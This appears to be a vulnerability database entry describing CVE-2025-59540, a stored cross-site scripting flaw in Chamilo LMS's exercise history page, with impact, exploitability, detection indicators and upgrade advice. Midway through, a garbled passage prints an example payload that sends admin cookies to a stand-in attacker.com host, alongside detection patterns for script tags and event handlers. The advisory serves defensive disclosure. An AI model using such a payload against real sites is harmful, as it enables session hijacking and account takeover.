
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-59540 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS that allows a lower-privileged staff account to inject and execute arbitrary JavaScript in the browser of higher-privileged admin users. The vulnerability affects all Chamilo LMS versions prior to 1.11.34 (specifically confirmed in version 1.11.32 and earlier). It was published on March 6, 2026, with the security advisory (GHSA-59h4-34mx-m67m) released by the Chamilo project on March 5, 2026. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 6.4 (Medium) (GitHub Advisory, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-80 (Improper Neutralization of Script-Related HTML Tags), arising from insufficient output encoding of user-supplied feedback text in the exercise history page (public/main/exercise/exercise_history.php). An attacker with a staff-level account submits a malicious JavaScript payload into the feedback field; because the application stores and later renders this input without proper HTML encoding, the script persists in the database and executes in any admin's browser upon viewing the exercise history page. No special configuration or complex conditions are required beyond possessing a valid staff account (GitHub Advisory).
Successful exploitation enables a staff-level attacker to execute arbitrary JavaScript in the context of an admin user's browser session, effectively achieving privilege escalation from staff to administrator. Concrete consequences include theft of admin session cookies or authentication tokens, unauthorized administrative actions performed on behalf of the admin, and exfiltration of sensitive data accessible only to administrators. The stored nature of the payload means it executes on every admin view of the affected page until manually removed, amplifying the risk of persistent compromise (GitHub Advisory).
There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047%, reflecting a low probability of near-term exploitation. Exploitation requires a valid staff account and passive user interaction (an admin must view the exercise history page), which somewhat limits opportunistic attack scenarios (GitHub Advisory, Red Hat CVE).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML event-handler-based payload.public/main/exercise/exercise_history.php) containing the poisoned feedback entry./main/exercise/exercise_history.php; application logs recording unusual admin actions (e.g., account creation, permission changes) not initiated by the admin.<script>, <img>, onerror=, javascript:) or encoded equivalents in the feedback/comment fields.?c=, ?token=, ?data=).The primary remediation is to upgrade Chamilo LMS to version 1.11.34 or later, which addresses this vulnerability through proper output encoding in the exercise history feedback rendering logic (GitHub Release). For organizations unable to patch immediately, recommended interim mitigations include: restricting staff account creation to trusted users only, implementing a strict Content Security Policy (CSP) header to limit script execution, and monitoring the exercise history page for suspicious feedback content. Administrators should also review existing feedback entries for injected scripts and remove any suspicious content from the database (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."